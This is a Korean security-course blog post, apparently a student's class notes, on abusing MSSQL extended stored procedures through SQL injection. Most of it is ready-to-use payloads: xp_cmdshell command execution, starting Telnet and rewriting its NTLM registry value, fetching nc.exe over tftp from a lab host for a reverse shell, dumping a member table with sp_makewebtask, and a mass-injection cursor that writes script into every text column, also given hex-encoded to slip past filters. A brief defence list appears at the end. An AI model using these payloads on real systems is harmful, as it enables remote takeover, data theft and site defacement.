31일차 Stored Procedure

2017. 3. 22. 09:41·정보보안·

* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.

  게시된 내용들은 잘 알려져있는 기술들입니다. 따라서  악용하더라도 쉽게 적발되니

  절대 악용해서는 안됩니다.

--------------------------------------------------------------------------------------------



* STORED PROCEDURE


-재사용성이 좋다.

-코드를 수정할 때,

-추후에 유지보수 할 때 좋다. 

-권한 설정 할 때도 유연한 면이 있다.

-동적 쿼리문을 실행하는 것보다 처리속도가 훨씬 빠르다.



xp_cmdshell

 시스템 명령어를 실행


xp_servicecontrol

 윈도우 서비스를 제어


sp_makewebtast

 쿼리의 결과를 웹 페이지로 생성


sp_addextendedproc

 Drop 된 Stored Procedure를 등록



공격자는 이런 보안상 취약한 프로시저를 이용하여 쉘을 수행시키거나 쿼리의 결과를 HTML로 제공, 레지스트리 조작, 서비스 시작/중지, 시스템 정보 획득 등에 이용할 수 있다.








exec 실행

master 마스터 db에 있는

dbo.xp_cmdshell 이것으로

dir dir 실행시켜주세요


exec master.dbo.xp_cmdshell 'dir'


ex) c드라이브 보고싶다.

exec master.dbo.xp_cmdshell 'dir c:\'


이것은 해당 서버에서 실행되는 것이지 공격자에게 보내는 것이 아니다.


그러므로 일련의 확인 절차가 필요한데, ping을 활용해서 확인한다.











request가 잘오는 것이 보인다.




텔넷을 시도하는 상황이다.


; exec master..xp_servicecontrol 'start','TlntSvr'-- 


master 뒤에 .. 인데 dbo를 생략할 수도 있다.


TlntSvr은 텔넷







연결은 된 것같은데 제대로 되지 않는다.


서버2000에 가서 서비스를 확인해야겠다...







서비스는 제대로 시작된 것이 보인다..


하지만 왜 안되는걸까?



NTLM 인증 때문이다.


XP의 계정을 서버의 계정과 비교를 한다.


version2 는 안맞으면 바로 끊어버리고


version1 은 안맞으면 다시 로그인할 수있게 로그인 폼을 제공해준다.


그러모르 version1로 낮추는 작업을 해준다.


물론 공격자 입장인 xp에서 .









HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0에 있는

NTLM 의 값을 1로 바꿔줘야한다.



공격자는 벡터에 


;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\TelnetServer\1.0','NTLM','REG_DWORD',1-- 


라는 명령어를 사용한다.


루트키 , 서브키


정확히 입력안하면 실행에러가 나는 것이 아니라, 새로운 값이 그냥 만들어져 버린다.




; exec master..xp_servicecontrol 'stop','TlntSvr'--

; exec master..xp_servicecontrol 'start','TlntSvr'--


중지 시작으로 재시작을 해준다.






그럼 값이 바뀌게 되고






이런 창이 뜨게 된다.


하지만 관리자 계정 비밀번호를 모르기 때문에


아래를 참조하여 db 계정정보를 획득해야한다.


http://nevercmecry.tistory.com/admin/entry/post/?id=30




혹은



Reverse Shell 획득


-XP에서 tftp 서버 실행

- tftp 폴더에 'nc.exe'파일 있는지 확인

- ;exec master..xp_cmdshell 'tftp -i 10.10.10.2 GET nc.exe'--

- xp에서 포트 열기, nc -lvp 1234

- ;exec master..xp_cmdshell 'tftp -i 10.10.10.2 1234 -e cme.exe'--


파일 검색 및 다운로드.

(확인만 하려면 type <filename> 이용하면 됨.


이런식으로 가져올 수도 있다.



sp_makewebtask


;exec master..sp_makewebtask 'c:\inetpub\webhack\sql.html','select * from webhack..member'








;exec master..sp_dropextendedproc 'xp_cmdshell';


;exec master..xp_cmdshell 'dir'


;exec master..xp_cmdshell 'ping 10.10.10.4'--


;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';--




* SQL Injection 


- 대응책사용자로부터 입력되는 값을 반드시 서버에서 체크한다.

- 문자열 길이를 확인한다. 문자열에 포함된 명령어가 있는지

- DB 계정의 권한을 낮춘다.

- 에러 메시지를 제한한다.

- WEB 방화벽 사용




* MASS SQL INJECTION


공격 한번에 대량의 db 변조를 하는 것






기본적인 mssql declare, set, if문



while




cursor는 입출력 인터페이스다.

쿼리문을 실행하고 그 결과를 하나씩 가져다주는 준비를 한다.

fetch next로 달라고 하면 레코드 하나씩 준다.


open cur 은 cur 시작과 메모리 할당이다

close cur 

deallocate cur 메모리 할당 해제.







fetch next가 두번 실행돼서 두개를 가져온 모습이다.




@@fetch_status는 이미 만들어져 있는 함수이다.


fetch next를 했을때  가져온 결과가 있는 경우는 0이 들어간다.


갖고 올게 없다면 -2가 된다. 에러가 난 경우에는 -1이 된다.




응용을 한 것이다.




declare @T VARCHAR(1000), @C VARCHAR(1000)

declare cur cursor for

select table_name, column_name

from information_schema.columns

where data_type like '%varchar%' or data_type like '%text%'

open cur

fetch next from cur into @t, @c

while @@fetch_status = 0

  begin

    exec('update '+@t+' set '+@c+'=''<script>alert("xss");</script>''')

    fetch next from cur into @t,@c

    end

close cur

deallocate cur







board도 member도 들어갈 수 있는 공간은 다 들어가버린다.



게시판을 확인 했더니 설정해둔 스크립트가 동작하게 된다.


방금 쓴 쿼리를 16진수로 바꾼다.


http://bin-hex-converter.online-domain-tools.com/


16진수로 바꾼 것 앞에 declare @s varchar(1000); set @s=0x 를 붙인다.


0x를 붙여야 16진수로 인식한다. 그후에 @s에 대입 한 것이다.



후에 ; 붙이고 exec(@s)


그러면 대략 아래와 같은 모양


declare @s varchar(1000); set @s=0x6465636c61726520405420564152434841522831303030292c20404320564152434841522831303030290d0a6465636c6172652063757220637572736f7220666f720d0a73656c656374207461626c655f6e616d652c20636f6c756d6e5f6e616d650d0a66726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e730d0a776865726520646174615f74797065206c696b65202725766172636861722527206f7220646174615f74797065206c696b652027257465787425270d0a6f70656e206375720d0a6665746368206e6578742066726f6d2063757220696e746f2040742c2040630d0a7768696c6520404066657463685f737461747573203d20300d0a2020626567696e0d0a2020202065786563282775706461746520272b40742b272073657420272b40632b273d27273c7363726970743e616c657274282278737322293b3c2f7363726970743e272727290d0a202020206665746368206e6578742066726f6d2063757220696e746f2040742c40630d0a20202020656e640d0a636c6f7365206375720d0a6465616c6c6f63617465206375720d0a; exec(@s)



인젝션벡터에 활용해서 넣으면 된다!!




저작자표시 (새창열림)

'정보보안' 카테고리의 다른 글

33일차 네트워크 해킹 zone transfer  (0) 2017.03.27
32일차 MASS SQL INJECTION  (0) 2017.03.23
DBMS 마다 다른 한개만 보기  (0) 2017.03.21
30일차 SQL인젝션, Blind Sql Injection  (0) 2017.03.21
29일차 데이터 스키마, SQL 인젝션  (0) 2017.03.20
'정보보안' 카테고리의 다른 글
  • 33일차 네트워크 해킹 zone transfer
  • 32일차 MASS SQL INJECTION
  • DBMS 마다 다른 한개만 보기
  • 30일차 SQL인젝션, Blind Sql Injection
징쟝
징쟝
IT 관련 네트워크 및 기타 자료들을 수집하고 공유하는데 목적이 있음.
  • 징쟝
    네트워커의 보안 티스토리
    징쟝
  • 전체
    오늘
    어제
  • 블로그 메뉴

    • 홈
    • 글쓰기
    • 관리
    • 방명록
    • 분류 전체보기 (152)
      • 정보보안 (54)
      • 리눅스 (10)
      • Windows (6)
      • Cisco (2)
      • Mikrotik (0)
      • Cyberoam (0)
      • Juniper (6)
      • MRTG (0)
      • Sophos (3)
      • SecuWiz (0)
      • Forti (0)
      • SECUI (1)
      • L4 (3)
      • 파이오링크 (0)
      • 오토핫키 (43)
      • 파이썬 (0)
      • 직장 (0)
      • 개인적인 것들 (9)
      • 그 외의 것들 (10)
      • 영화 (0)
      • 테스트 (1)
      • 일기장 (0)
      • 쓰레기통 (3)
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    보안
    웹보안
    MySQL
    HTML
    웹해킹
    NAT
    해킹
    오토핫키
    정보보안
    인젝션
    web
    spoofing
    php
    CSRF
    SQL
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
징쟝
31일차 Stored Procedure
상단으로

티스토리툴바